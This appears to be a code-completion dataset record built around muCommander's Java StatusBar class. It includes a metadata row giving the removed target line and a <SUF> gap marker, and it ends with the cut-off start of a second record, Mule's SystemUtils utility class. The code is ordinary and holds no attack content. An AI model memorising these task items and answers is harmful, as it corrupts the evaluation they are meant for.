if(totalSpace!=-1)
volumeInfo += " / "+ SizeFormat.format(totalSpace, VOLUME_INFO_SIZE_FORMAT);
volumeInfo = Translator.get("status_bar.volume_free", volumeInfo);
}
else if(totalSpace!=-1) {
volumeInfo = SizeFormat.format(totalSpace, VOLUME_INFO_SIZE_FORMAT);
volumeInfo = Translator.get("status_bar.volume_capacity", volumeInfo);
}
else {
volumeInfo = "";
}
setText(volumeInfo);
// Set tooltip
if(freeSpace==-1 || totalSpace==-1)
setToolTipText(null); // Removes any previous tooltip
else
setToolTipText(""+(int)(100*freeSpace/(float)totalSpace)+"%");
repaint();
}
/**
* Adds some empty space around the label.
*/
@Override
public Dimension getPreferredSize() {
Dimension d = super.getPreferredSize();
return new Dimension(d.width+4, d.height+2);
}
/**
* Returns an interpolated color value, located at percent between c1 and c2 in the RGB space.
*
* @param c1 first color
* @param c2 end color
* @param percent distance between c1 and c2, comprised between 0 and 1.
* @return an interpolated color value, located at percent between c1 and c2 in the RGB space.
*/
private Color interpolateColor(Color c1, Color c2, float percent) {
return new Color(
(int)(c1.getRed()+(c2.getRed()-c1.getRed())*percent),
(int)(c1.getGreen()+(c2.getGreen()-c1.getGreen())*percent),
(int)(c1.getBlue()+(c2.getBlue()-c1.getBlue())*percent)
);
}
@Override
public void paint(Graphics g) {
// If free or total space is not available, this label will just be painted as a normal JLabel
if(freeSpace!=-1 && totalSpace!=-1) {
int width = getWidth();
int height = getHeight();
// Paint amount of free volume space if both free and total space are available
float freeSpacePercentage = freeSpace/(float)totalSpace;
Color c;
if(freeSpacePercentage<=SPACE_CRITICAL_THRESHOLD) {
c = criticalColor;
}
else if(freeSpacePercentage<=SPACE_WARNING_THRESHOLD) {
c = interpolateColor(warningColor, criticalColor, (SPACE_WARNING_THRESHOLD-freeSpacePercentage)/SPACE_WARNING_THRESHOLD);
}
else {
c = interpolateColor(okColor, warningColor, (1-freeSpacePercentage)/(1-SPACE_WARNING_THRESHOLD));
}
g.setColor(c);
int freeSpaceWidth = Math.max(Math.round(freeSpacePercentage*(float)(width-2)), 1);
g.fillRect(1, 1, freeSpaceWidth + 1, height - 2);
// Fill background
g.setColor(backgroundColor);
g.fillRect(freeSpaceWidth + 1, 1, width - freeSpaceWidth - 1, height - 2);
}
super.paint(g);
}
// Total/Free space reversed, doesn't look quite right
// @Override
// public void paint(Graphics g) {
// // If free or total space is not available, this label will just be painted as a normal JLabel
// if(freeSpace!=-1 && totalSpace!=-1) {
// int width = getWidth();
// int height = getHeight();
//
// // Paint amount of free volume space if both free and total space are available
// float freeSpacePercentage = freeSpace/(float)totalSpace;
// float usedSpacePercentage = (totalSpace-freeSpace)/(float)totalSpace;
//
// Color c;
// if(freeSpacePercentage<=SPACE_CRITICAL_THRESHOLD) {
// c = criticalColor;
// }
// else if(freeSpacePercentage<=SPACE_WARNING_THRESHOLD) {
// c = interpolateColor(warningColor, criticalColor, (SPACE_WARNING_THRESHOLD-freeSpacePercentage)/SPACE_WARNING_THRESHOLD);
// }
// else {
// c = interpolateColor(okColor, warningColor, (1-freeSpacePercentage)/(1-SPACE_WARNING_THRESHOLD));
// }
//
// g.setColor(c);
//
// int usedSpaceWidth = Math.max(Math.round(usedSpacePercentage*(float)(width-2)), 1);
// g.fillRect(1, 1, usedSpaceWidth + 1, height - 2);
//
// // Fill background
// g.setColor(backgroundColor);
// g.fillRect(usedSpaceWidth + 1, 1, width - usedSpaceWidth - 1, height - 2);
// }
//
// super.paint(g);
// }
public void fontChanged(FontChangedEvent event) {}
public void colorChanged(ColorChangedEvent event) {
switch(event.getColorId()) {
case Theme.STATUS_BAR_BACKGROUND_COLOR:
backgroundColor = event.getColor();
break;
case Theme.STATUS_BAR_BORDER_COLOR:
// Some (rather evil) look and feels will change borders outside of muCommander's control,
// this check is necessary to ensure no exception is thrown.
if(getBorder() instanceof MutableLineBorder)
((MutableLineBorder)getBorder()).setLineColor(event.getColor());
break;
case Theme.STATUS_BAR_OK_COLOR:
okColor = event.getColor();
break;
case Theme.STATUS_BAR_WARNING_COLOR:
warningColor = event.getColor();
break;
case Theme.STATUS_BAR_CRITICAL_COLOR:
criticalColor = event.getColor();
break;
default:
return;
}
repaint();
}
}
}
| mucommander/mucommander | mucommander-core/src/main/java/com/mucommander/ui/main/StatusBar.java | 8,024 | // int height = getHeight(); | line_comment | nl | /*
* This file is part of muCommander, http://www.mucommander.com
*
* muCommander is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* muCommander is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.mucommander.ui.main;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.Graphics;
import java.awt.event.ComponentAdapter;
import java.awt.event.ComponentEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.awt.image.BufferedImage;
import java.io.IOException;
import javax.swing.Box;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JPopupMenu;
import javax.swing.SwingConstants;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.mucommander.commons.conf.ConfigurationEvent;
import com.mucommander.commons.conf.ConfigurationListener;
import com.mucommander.commons.file.AbstractFile;
import com.mucommander.commons.util.ui.border.MutableLineBorder;
import com.mucommander.conf.MuConfigurations;
import com.mucommander.conf.MuPreference;
import com.mucommander.conf.MuPreferences;
import com.mucommander.core.desktop.DesktopManager;
import com.mucommander.desktop.ActionType;
import com.mucommander.text.SizeFormat;
import com.mucommander.text.Translator;
import com.mucommander.ui.action.ActionManager;
import com.mucommander.ui.event.ActivePanelListener;
import com.mucommander.ui.event.LocationEvent;
import com.mucommander.ui.event.LocationListener;
import com.mucommander.ui.event.TableSelectionListener;
import com.mucommander.ui.icon.SpinningDial;
import com.mucommander.ui.main.table.FileTable;
import com.mucommander.ui.main.table.FileTableModel;
import com.mucommander.ui.theme.ColorChangedEvent;
import com.mucommander.ui.theme.FontChangedEvent;
import com.mucommander.ui.theme.Theme;
import com.mucommander.ui.theme.ThemeListener;
import com.mucommander.ui.theme.ThemeManager;
/**
* StatusBar is the component that sits at the bottom of each MainFrame, between the folder panels and command bar.
* There is one and only one StatusBar per MainFrame, created by the associated MainFrame. It can be hidden,
* but the instance will always remain, until the MainFrame is disposed.
*
* <p>StatusBar is used to display info about the total/selected number of files in the current folder and current volume's
* free/total space. When a folder is being changed, a waiting message is displayed. When quick search is being used,
* the current quick search string is displayed.
*
* <p>StatusBar receives LocationListener events when the folder has or is being changed, and automatically updates
* selected files and volume info, and display the waiting message when the folder is changing. Quick search info
* is set by FileTable.QuickSearch.
*
* <p>When StatusBar is visible, a Thread runs in the background to periodically update free/total space volume info.
* This thread stops when the StatusBar is hidden.
*
* @author Maxence Bernard
*/
public class StatusBar extends JPanel {
private static final Logger LOGGER = LoggerFactory.getLogger(StatusBar.class);
private MainFrame mainFrame;
/** Label that displays info about current selected file(s) */
private JLabel selectedFilesLabel;
/** Icon used while loading is in progress. */
private SpinningDial dial;
/** Label that displays info about current volume (free/total space) */
private VolumeSpaceLabel volumeSpaceLabel;
/** Thread which auto updates volume info */
private Thread autoUpdateThread;
/** Number of milliseconds between each volume info update by auto-update thread */
private final static int AUTO_UPDATE_PERIOD = 60000;
/** Icon that is displayed when folder is changing */
public final static String WAITING_ICON = "waiting.png";
/** SizeFormat's format used to display volume info in status bar */
public final static int VOLUME_INFO_SIZE_FORMAT = SizeFormat.DIGITS_MEDIUM | SizeFormat.UNIT_SHORT | SizeFormat.INCLUDE_SPACE;
/** Listens to configuration changes and updates static fields accordingly */
public final static ConfigurationListener CONFIGURATION_ADAPTER;
/** SizeFormat format used to create the selected file(s) size string */
private static int selectedFileSizeFormat;
/** Indicates whether the main frame that holds this status bar has been disposed */
private boolean mainFrameDisposed;
/** Indicates whether {@link #autoUpdateThread} has been notified */
private boolean autoUpdateThreadNotified;
/** Holds the path of the volume for which free/total space was last retrieved by {@link #autoUpdateThread} */
private String volumePath;
/** hold references to listeners that are stored with weak references to prevent them from being collected by the garbage collector */
private LocationListener locationListener;
private TableSelectionListener tableSelectionListener;
private ActivePanelListener activePanelListener;
private ThemeListener themeListener;
static {
// Initialize the size column format based on the configuration
setSelectedFileSizeFormat(MuConfigurations.getPreferences().getVariable(MuPreference.DISPLAY_COMPACT_FILE_SIZE,
MuPreferences.DEFAULT_DISPLAY_COMPACT_FILE_SIZE));
// Listens to configuration changes and updates static fields accordingly.
// Note: a reference to the listener must be kept to prevent it from being garbage-collected.
CONFIGURATION_ADAPTER = new ConfigurationListener() {
public synchronized void configurationChanged(ConfigurationEvent event) {
String var = event.getVariable();
if (var.equals(MuPreferences.DISPLAY_COMPACT_FILE_SIZE))
setSelectedFileSizeFormat(event.getBooleanValue());
}
};
MuConfigurations.addPreferencesListener(CONFIGURATION_ADAPTER);
}
/**
* Sets the SizeFormat format used to create the selected file(s) size string.
*
* @param compactSize true to use a compact size format, false for full size in bytes
*/
private static void setSelectedFileSizeFormat(boolean compactSize) {
if(compactSize)
selectedFileSizeFormat = SizeFormat.DIGITS_MEDIUM | SizeFormat.UNIT_SHORT | SizeFormat.ROUND_TO_KB;
else
selectedFileSizeFormat = SizeFormat.DIGITS_FULL | SizeFormat.UNIT_LONG;
selectedFileSizeFormat |= SizeFormat.INCLUDE_SPACE;
}
/**
* Creates a new StatusBar instance.
*/
public StatusBar(MainFrame mainFrame) {
// Create and add status bar
setLayout(new BorderLayout());
this.mainFrame = mainFrame;
selectedFilesLabel = new JLabel("");
dial = new SpinningDial();
add(selectedFilesLabel, BorderLayout.CENTER);
JPanel eastPanel = new JPanel(new FlowLayout(FlowLayout.CENTER, 0, 0));
JobsPopupButton jobsButton = new JobsPopupButton();
jobsButton.setPopupMenuLocation(SwingConstants.TOP);
eastPanel.add(jobsButton);
eastPanel.add(Box.createRigidArea(new Dimension(2, 0)));
// Add a button for interacting with the trash, only if the current platform has a trash implementation
if (DesktopManager.getTrash() != null) {
TrashPopupButton trashButton = new TrashPopupButton(mainFrame);
trashButton.setPopupMenuLocation(SwingConstants.TOP);
eastPanel.add(trashButton);
eastPanel.add(Box.createRigidArea(new Dimension(2, 0)));
}
volumeSpaceLabel = new VolumeSpaceLabel();
eastPanel.add(volumeSpaceLabel);
add(eastPanel, BorderLayout.EAST);
// Show/hide this status bar based on user preferences
// Note: setVisible has to be called even with true for the auto-update thread to be initialized
setVisible(MuConfigurations.getPreferences().getVariable(MuPreference.STATUS_BAR_VISIBLE, MuPreferences.DEFAULT_STATUS_BAR_VISIBLE));
// Catch location events to update status bar info when folder is changed
locationListener = new LocationListener() {
@Override
public void locationChanged(LocationEvent e) {
dial.setAnimated(false);
updateStatusInfo();
}
@Override
public void locationChanging(LocationEvent e) {
// Show a message in the status bar saying that folder is being changed
setStatusInfo(Translator.get("status_bar.connecting_to_folder"), dial, true);
dial.setAnimated(true);
}
@Override
public void locationCancelled(LocationEvent e) {
dial.setAnimated(false);
updateStatusInfo();
}
@Override
public void locationFailed(LocationEvent e) {
dial.setAnimated(false);
updateStatusInfo();
}
};
FolderPanel leftPanel = mainFrame.getLeftPanel();
leftPanel.getLocationManager().addLocationListener(locationListener);
FolderPanel rightPanel = mainFrame.getRightPanel();
rightPanel.getLocationManager().addLocationListener(locationListener);
// Catch table selection change events to update the selected files info when the selected files have changed on
// one of the file tables
tableSelectionListener = new TableSelectionListener() {
@Override
public void selectedFileChanged(FileTable source) {
// No need to update if the originating FileTable is not the currently active one
if(source==mainFrame.getActiveTable() && mainFrame.isForegroundActive())
updateSelectedFilesInfo();
}
@Override
public void markedFilesChanged(FileTable source) {
// No need to update if the originating FileTable is not the currently active one
if(source==mainFrame.getActiveTable() && mainFrame.isForegroundActive())
updateSelectedFilesInfo();
}
};
leftPanel.getFileTable().addTableSelectionListener(tableSelectionListener);
rightPanel.getFileTable().addTableSelectionListener(tableSelectionListener);
// Catch active panel change events to update status bar info when current table has changed
activePanelListener = folderPanel -> updateStatusInfo();
mainFrame.addActivePanelListener(activePanelListener);
// Catch main frame close events to make sure autoUpdateThread is finished
mainFrame.getJFrame().addWindowListener(new WindowAdapter() {
@Override
public void windowClosed(WindowEvent e) {
mainFrameDisposed = true;
triggerVolumeInfoUpdate();
}
});
// Catch window gained focus events to update the volume info when current windows has changed
mainFrame.getJFrame().addWindowFocusListener(new WindowAdapter() {
@Override
public void windowGainedFocus(WindowEvent e) {
triggerVolumeInfoUpdate();
}
});
// Catch mouse events to pop up a menu on right-click
MouseAdapter mouseAdapter = new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
// Discard mouse events while in 'no events mode'
if (mainFrame.getNoEventsMode())
return;
// Right clicking on the toolbar brings up a popup menu that allows the user to hide this status bar
if (DesktopManager.isRightMouseButton(e)) {
// if (e.isPopupTrigger()) { // Doesn't work under Mac OS X (CTRL+click doesn't return true)
JPopupMenu popupMenu = new JPopupMenu();
popupMenu.add(ActionManager.getActionInstance(ActionType.ToggleStatusBar, mainFrame));
popupMenu.show(StatusBar.this, e.getX(), e.getY());
popupMenu.setVisible(true);
}
};
};
selectedFilesLabel.addMouseListener(mouseAdapter);
volumeSpaceLabel.addMouseListener(mouseAdapter);
addMouseListener(mouseAdapter);
// Catch component events to be notified when this component is made visible
// and update status info
addComponentListener(new ComponentAdapter() {
@Override
public void componentShown(ComponentEvent e) {
// Invoked when the component has been made visible (apparently not called when just created)
// Status bar needs to be updated since it is not updated when not visible
updateStatusInfo();
};
});
// Initialises theme.
selectedFilesLabel.setFont(ThemeManager.getCurrentFont(Theme.STATUS_BAR_FONT));
selectedFilesLabel.setForeground(ThemeManager.getCurrentColor(Theme.STATUS_BAR_FOREGROUND_COLOR));
volumeSpaceLabel.setFont(ThemeManager.getCurrentFont(Theme.STATUS_BAR_FONT));
volumeSpaceLabel.setForeground(ThemeManager.getCurrentColor(Theme.STATUS_BAR_FOREGROUND_COLOR));
themeListener = new ThemeListener() {
@Override
public void fontChanged(FontChangedEvent event) {
if(event.getFontId() == Theme.STATUS_BAR_FONT) {
selectedFilesLabel.setFont(event.getFont());
volumeSpaceLabel.setFont(event.getFont());
repaint();
}
}
@Override
public void colorChanged(ColorChangedEvent event) {
if(event.getColorId() == Theme.STATUS_BAR_FOREGROUND_COLOR) {
selectedFilesLabel.setForeground(event.getColor());
volumeSpaceLabel.setForeground(event.getColor());
repaint();
}
}
};
ThemeManager.addCurrentThemeListener(themeListener);
}
/**
* Updates info displayed on the status bar: currently selected files and volume info.
*/
private void updateStatusInfo() {
// No need to waste precious cycles if status bar is not visible
if (!isVisible())
return;
updateSelectedFilesInfo();
if (isVolumeChanged())
triggerVolumeInfoUpdate();
}
/**
* Updates info about currently selected files ((nb of selected files, combined size), displayed on the left-side of this status bar.
*/
// Making this method synchronized creates a deadlock with FileTable
// public synchronized void updateSelectedFilesInfo() {
public void updateSelectedFilesInfo() {
// No need to waste precious cycles if status bar is not visible
if (!isVisible())
return;
FileTable currentFileTable = mainFrame.getActiveTable();
// Currently select file, can be null
AbstractFile selectedFile = currentFileTable.getSelectedFile(false, true);
FileTableModel tableModel = currentFileTable.getFileTableModel();
// Number of marked files, can be 0
int nbMarkedFiles = tableModel.getNbMarkedFiles();
// Combined size of marked files, 0 if no file has been marked
long markedTotalSize = tableModel.getTotalMarkedSize();
// number of files in folder
int fileCount = tableModel.getFileCount();
// Update files info based on marked files if there are some, or currently selected file otherwise
int nbSelectedFiles;
if(nbMarkedFiles==0 && selectedFile!=null)
nbSelectedFiles = 1;
else
nbSelectedFiles = nbMarkedFiles;
StringBuilder filesInfo = new StringBuilder();
String tooltip = null;
if (fileCount==0) {
// Set status bar to a space character, not an empty string
// otherwise it will disappear
filesInfo.append(" ");
} else {
filesInfo.append(Translator.get("status_bar.selected_files", nbSelectedFiles, fileCount));
if (nbMarkedFiles > 0)
filesInfo.append(String.format(" - %s", SizeFormat.format(markedTotalSize, selectedFileSizeFormat)));
if (selectedFile != null) {
filesInfo.append(String.format(" - %s", selectedFile.getName()));
tooltip = selectedFile.getName();
}
}
// Update label
setStatusInfo(filesInfo.toString(), tooltip, null, false);
}
/**
* Displays the specified text and icon on the left-side of the status bar,
* replacing any previous information.
*
* @param text the piece of text to display
* @param icon the icon to display next to the text
* @param iconBeforeText if true, icon will be placed on the left side of the text, if not on the right side
*/
public void setStatusInfo(String text, Icon icon, boolean iconBeforeText) {
setStatusInfo(text, null, icon, iconBeforeText);
}
private void setStatusInfo(String text, String tooltip, Icon icon, boolean iconBeforeText) {
selectedFilesLabel.setText(text);
selectedFilesLabel.setToolTipText(tooltip);
if(icon==null) {
// What we don't want here is the label's height to change depending on whether it has an icon or not.
// This would result in having to revalidate the status bar and in turn the whole MainFrame.
// A label's height is roughly the max of the text's font height and the icon (if any). So if there is no
// icon for the label, we use a transparent image for padding in case the text's font height is smaller
// than a 'standard' (16x16) icon. This ensures that the label's height remains constant.
BufferedImage bi = new BufferedImage(1, 16, BufferedImage.TYPE_INT_ARGB);
icon = new ImageIcon(bi);
}
selectedFilesLabel.setIcon(icon);
selectedFilesLabel.setHorizontalTextPosition(iconBeforeText?JLabel.TRAILING:JLabel.LEADING);
}
/**
* Displays the specified text on the left-side of the status bar,
* replacing any previous text and icon.
*
* @param infoMessage the piece of text to display
*/
public void setStatusInfo(String infoMessage) {
setStatusInfo(infoMessage, null, false);
}
/**
* Starts a volume info auto-update thread, only if there isn't already one running.
*/
private synchronized void startAutoUpdate() {
if (autoUpdateThread==null) {
// Start volume info auto-update thread
autoUpdateThread = new Thread(() -> {
// Periodically updates volume info (free / total space).
while (!mainFrameDisposed) { // Stop when MainFrame is disposed
// Update volume info if:
// - status bar is visible
// - MainFrame is active and in the foreground
// Volume info update will potentially hit the LRU cache and not actually update volume info
if (isVisible() && mainFrame.isForegroundActive()) {
final AbstractFile currentFolder = getCurrentFolder();
volumePath = getVolumePath(currentFolder);
// Retrieves free and total volume space.
long volumeFree = getFreeSpace(currentFolder);
long volumeTotal = getTotalSpace(currentFolder);
volumeSpaceLabel.setVolumeSpace(volumeTotal, volumeFree);
}
// Sleep for a while
if (!autoUpdateThreadNotified) {
synchronized(autoUpdateThread) {
if (!autoUpdateThreadNotified) {
try { autoUpdateThread.wait(AUTO_UPDATE_PERIOD); }
catch (InterruptedException e) {}
}
}
}
autoUpdateThreadNotified = false;
}
}, "DiskFreeUpdater");
autoUpdateThread.setName("StatusBar autoUpdateThread");
// Set the thread as a daemon thread
autoUpdateThread.setDaemon(true);
autoUpdateThread.start();
}
}
/**
* Overrides JComponent.setVisible(boolean) to start/stop volume info auto-update thread.
*/
@Override
public void setVisible(boolean visible) {
super.setVisible(visible);
if (visible) {
// Start auto-update thread
startAutoUpdate();
// Update status bar info
updateStatusInfo();
}
}
private AbstractFile getCurrentFolder() {
return mainFrame.getActivePanel().getCurrentFolder();
}
private String getVolumePath(AbstractFile folder) {
return folder.exists() ? folder.getVolume().getAbsolutePath(true) : "";
}
private boolean isVolumeChanged() {
return volumePath == null || !volumePath.equals(getVolumePath(getCurrentFolder()));
}
private void triggerVolumeInfoUpdate() {
if (!autoUpdateThreadNotified && autoUpdateThread != null) {
synchronized(autoUpdateThread) {
if (!autoUpdateThreadNotified) {
autoUpdateThreadNotified = true;
autoUpdateThread.notify();
}
}
}
}
/**
* @return Free space on current volume, -1 if this information is not available
*/
private long getFreeSpace(AbstractFile currentFolder) {
try { return currentFolder.getFreeSpace(); }
catch(IOException e) { return -1; }
}
/**
* @return Total space on current volume, -1 if this information is not available
*/
private long getTotalSpace(AbstractFile currentFolder) {
try { return currentFolder.getTotalSpace(); }
catch(IOException e) { return -1; }
}
///////////////////
// Inner classes //
///////////////////
/**
* This label displays the amount of free and/or total space on a volume.
*/
private static class VolumeSpaceLabel extends JLabel implements ThemeListener {
private long freeSpace;
private long totalSpace;
private Color backgroundColor;
private Color okColor;
private Color warningColor;
private Color criticalColor;
private final static float SPACE_WARNING_THRESHOLD = 0.1f;
private final static float SPACE_CRITICAL_THRESHOLD = 0.05f;
private VolumeSpaceLabel() {
super("");
setHorizontalAlignment(CENTER);
backgroundColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_BACKGROUND_COLOR);
// borderColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_BORDER_COLOR);
okColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_OK_COLOR);
warningColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_WARNING_COLOR);
criticalColor = ThemeManager.getCurrentColor(Theme.STATUS_BAR_CRITICAL_COLOR);
setBorder(new MutableLineBorder(ThemeManager.getCurrentColor(Theme.STATUS_BAR_BORDER_COLOR)));
ThemeManager.addCurrentThemeListener(this);
}
/**
* Sets the new volume total and free space, and updates the label's text to show the new values and,
* only if both total and free space are available (different from -1), paint a graphical representation
* of the amount of free space available and set a tooltip showing the percentage of free space on the volume.
*
* @param totalSpace total volume space, -1 if not available
* @param freeSpace free volume space, -1 if not available
*/
private void setVolumeSpace(long totalSpace, long freeSpace) {
this.freeSpace = freeSpace;
this.totalSpace = totalSpace;
// Set new label's text
String volumeInfo;
if(freeSpace!=-1) {
volumeInfo = SizeFormat.format(freeSpace, VOLUME_INFO_SIZE_FORMAT);
if(totalSpace!=-1)
volumeInfo += " / "+ SizeFormat.format(totalSpace, VOLUME_INFO_SIZE_FORMAT);
volumeInfo = Translator.get("status_bar.volume_free", volumeInfo);
}
else if(totalSpace!=-1) {
volumeInfo = SizeFormat.format(totalSpace, VOLUME_INFO_SIZE_FORMAT);
volumeInfo = Translator.get("status_bar.volume_capacity", volumeInfo);
}
else {
volumeInfo = "";
}
setText(volumeInfo);
// Set tooltip
if(freeSpace==-1 || totalSpace==-1)
setToolTipText(null); // Removes any previous tooltip
else
setToolTipText(""+(int)(100*freeSpace/(float)totalSpace)+"%");
repaint();
}
/**
* Adds some empty space around the label.
*/
@Override
public Dimension getPreferredSize() {
Dimension d = super.getPreferredSize();
return new Dimension(d.width+4, d.height+2);
}
/**
* Returns an interpolated color value, located at percent between c1 and c2 in the RGB space.
*
* @param c1 first color
* @param c2 end color
* @param percent distance between c1 and c2, comprised between 0 and 1.
* @return an interpolated color value, located at percent between c1 and c2 in the RGB space.
*/
private Color interpolateColor(Color c1, Color c2, float percent) {
return new Color(
(int)(c1.getRed()+(c2.getRed()-c1.getRed())*percent),
(int)(c1.getGreen()+(c2.getGreen()-c1.getGreen())*percent),
(int)(c1.getBlue()+(c2.getBlue()-c1.getBlue())*percent)
);
}
@Override
public void paint(Graphics g) {
// If free or total space is not available, this label will just be painted as a normal JLabel
if(freeSpace!=-1 && totalSpace!=-1) {
int width = getWidth();
int height = getHeight();
// Paint amount of free volume space if both free and total space are available
float freeSpacePercentage = freeSpace/(float)totalSpace;
Color c;
if(freeSpacePercentage<=SPACE_CRITICAL_THRESHOLD) {
c = criticalColor;
}
else if(freeSpacePercentage<=SPACE_WARNING_THRESHOLD) {
c = interpolateColor(warningColor, criticalColor, (SPACE_WARNING_THRESHOLD-freeSpacePercentage)/SPACE_WARNING_THRESHOLD);
}
else {
c = interpolateColor(okColor, warningColor, (1-freeSpacePercentage)/(1-SPACE_WARNING_THRESHOLD));
}
g.setColor(c);
int freeSpaceWidth = Math.max(Math.round(freeSpacePercentage*(float)(width-2)), 1);
g.fillRect(1, 1, freeSpaceWidth + 1, height - 2);
// Fill background
g.setColor(backgroundColor);
g.fillRect(freeSpaceWidth + 1, 1, width - freeSpaceWidth - 1, height - 2);
}
super.paint(g);
}
// Total/Free space reversed, doesn't look quite right
// @Override
// public void paint(Graphics g) {
// // If free or total space is not available, this label will just be painted as a normal JLabel
// if(freeSpace!=-1 && totalSpace!=-1) {
// int width = getWidth();
// int height<SUF>
//
// // Paint amount of free volume space if both free and total space are available
// float freeSpacePercentage = freeSpace/(float)totalSpace;
// float usedSpacePercentage = (totalSpace-freeSpace)/(float)totalSpace;
//
// Color c;
// if(freeSpacePercentage<=SPACE_CRITICAL_THRESHOLD) {
// c = criticalColor;
// }
// else if(freeSpacePercentage<=SPACE_WARNING_THRESHOLD) {
// c = interpolateColor(warningColor, criticalColor, (SPACE_WARNING_THRESHOLD-freeSpacePercentage)/SPACE_WARNING_THRESHOLD);
// }
// else {
// c = interpolateColor(okColor, warningColor, (1-freeSpacePercentage)/(1-SPACE_WARNING_THRESHOLD));
// }
//
// g.setColor(c);
//
// int usedSpaceWidth = Math.max(Math.round(usedSpacePercentage*(float)(width-2)), 1);
// g.fillRect(1, 1, usedSpaceWidth + 1, height - 2);
//
// // Fill background
// g.setColor(backgroundColor);
// g.fillRect(usedSpaceWidth + 1, 1, width - usedSpaceWidth - 1, height - 2);
// }
//
// super.paint(g);
// }
public void fontChanged(FontChangedEvent event) {}
public void colorChanged(ColorChangedEvent event) {
switch(event.getColorId()) {
case Theme.STATUS_BAR_BACKGROUND_COLOR:
backgroundColor = event.getColor();
break;
case Theme.STATUS_BAR_BORDER_COLOR:
// Some (rather evil) look and feels will change borders outside of muCommander's control,
// this check is necessary to ensure no exception is thrown.
if(getBorder() instanceof MutableLineBorder)
((MutableLineBorder)getBorder()).setLineColor(event.getColor());
break;
case Theme.STATUS_BAR_OK_COLOR:
okColor = event.getColor();
break;
case Theme.STATUS_BAR_WARNING_COLOR:
warningColor = event.getColor();
break;
case Theme.STATUS_BAR_CRITICAL_COLOR:
criticalColor = event.getColor();
break;
default:
return;
}
repaint();
}
}
}
|
102973_19 | /*
* Copyright 2023 Salesforce, Inc. All rights reserved.
* The software in this package is published under the terms of the CPAL v1.0
* license, a copy of which has been included with this distribution in the
* LICENSE.txt file.
*/
package org.mule.runtime.core.api.util;
import static org.mule.runtime.core.api.config.MuleProperties.MULE_ENCODING_SYSTEM_PROPERTY;
import static org.apache.commons.lang3.StringUtils.INDEX_NOT_FOUND;
import static org.apache.commons.lang3.StringUtils.indexOf;
import static org.apache.commons.lang3.StringUtils.substring;
import static org.apache.commons.lang3.SystemUtils.JAVA_VENDOR;
import static org.apache.commons.lang3.SystemUtils.JAVA_VM_NAME;
import static org.apache.commons.lang3.SystemUtils.JAVA_VM_VENDOR;
import org.mule.api.annotation.NoInstantiate;
import org.mule.runtime.core.api.MuleContext;
import org.mule.runtime.core.api.config.MuleConfiguration;
import java.nio.charset.Charset;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
// @ThreadSafe
/**
* @deprecated make this class internal
*/
@Deprecated
@NoInstantiate
public class SystemUtils {
// class logger
protected static final Logger logger = LoggerFactory.getLogger(SystemUtils.class);
// the environment of the VM process
private static Map environment = null;
/**
* Get the operating system environment variables. This should work for Windows and Linux.
*
* @return Map<String, String> or an empty map if there was an error.
*/
public static synchronized Map getenv() {
if (environment == null) {
try {
environment = System.getenv();
} catch (Exception ex) {
logger.error("Could not access OS environment: ", ex);
environment = Collections.EMPTY_MAP;
}
}
return environment;
}
public static String getenv(String name) {
return (String) SystemUtils.getenv().get(name);
}
public static boolean isSunJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("sun")
|| JAVA_VM_VENDOR.toLowerCase().contains("oracle");
}
public static boolean isAppleJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("apple");
}
public static boolean isIbmJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("ibm") || JAVA_VENDOR.toLowerCase().contains("ibm");
}
public static boolean isAzulJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("azul");
}
public static boolean isAmazonJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("amazon");
}
public static boolean isOpenJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("openjdk") || JAVA_VENDOR.toLowerCase().contains("openjdk") ||
JAVA_VM_NAME.toLowerCase().contains("openjdk");
}
public static boolean isAdoptOpenJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("adoptopenjdk") || JAVA_VENDOR.toLowerCase().contains("adoptopenjdk");
}
public static boolean isAdoptiumTemurinJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("temurin") || JAVA_VENDOR.toLowerCase().contains("temurin") ||
JAVA_VM_VENDOR.toLowerCase().contains("adoptium") || JAVA_VENDOR.toLowerCase().contains("adoptium");
}
/**
* Returns a Map of all valid property definitions in <code>-Dkey=value</code> format. <code>-Dkey</code> is interpreted as
* <code>-Dkey=true</code>, everything else is ignored. Whitespace in values is properly handled but needs to be quoted
* properly: <code>-Dkey="some value"</code>.
*
* @param input String with property definitionn
* @return a {@link Map} of property String keys with their defined values (Strings). If no valid key-value pairs can be parsed,
* the map is empty.
*/
public static Map<String, String> parsePropertyDefinitions(String input) {
if (StringUtils.isEmpty(input)) {
return Collections.emptyMap();
}
// the result map of property key/value pairs
final Map<String, String> result = new HashMap<>();
// where to begin looking for key/value tokens
int tokenStart = 0;
// this is the main loop that scans for all tokens
findtoken: while (tokenStart < input.length()) {
// find first definition or bail
tokenStart = indexOf(input, "-D", tokenStart);
if (tokenStart == INDEX_NOT_FOUND) {
break findtoken;
} else {
// skip leading -D
tokenStart += 2;
}
// find key
int keyStart = tokenStart;
int keyEnd = keyStart;
if (keyStart == input.length()) {
// short input: '-D' only
break;
}
// let's check out what we have next
char cursor = input.charAt(keyStart);
// '-D xxx'
if (cursor == ' ') {
continue findtoken;
}
// '-D='
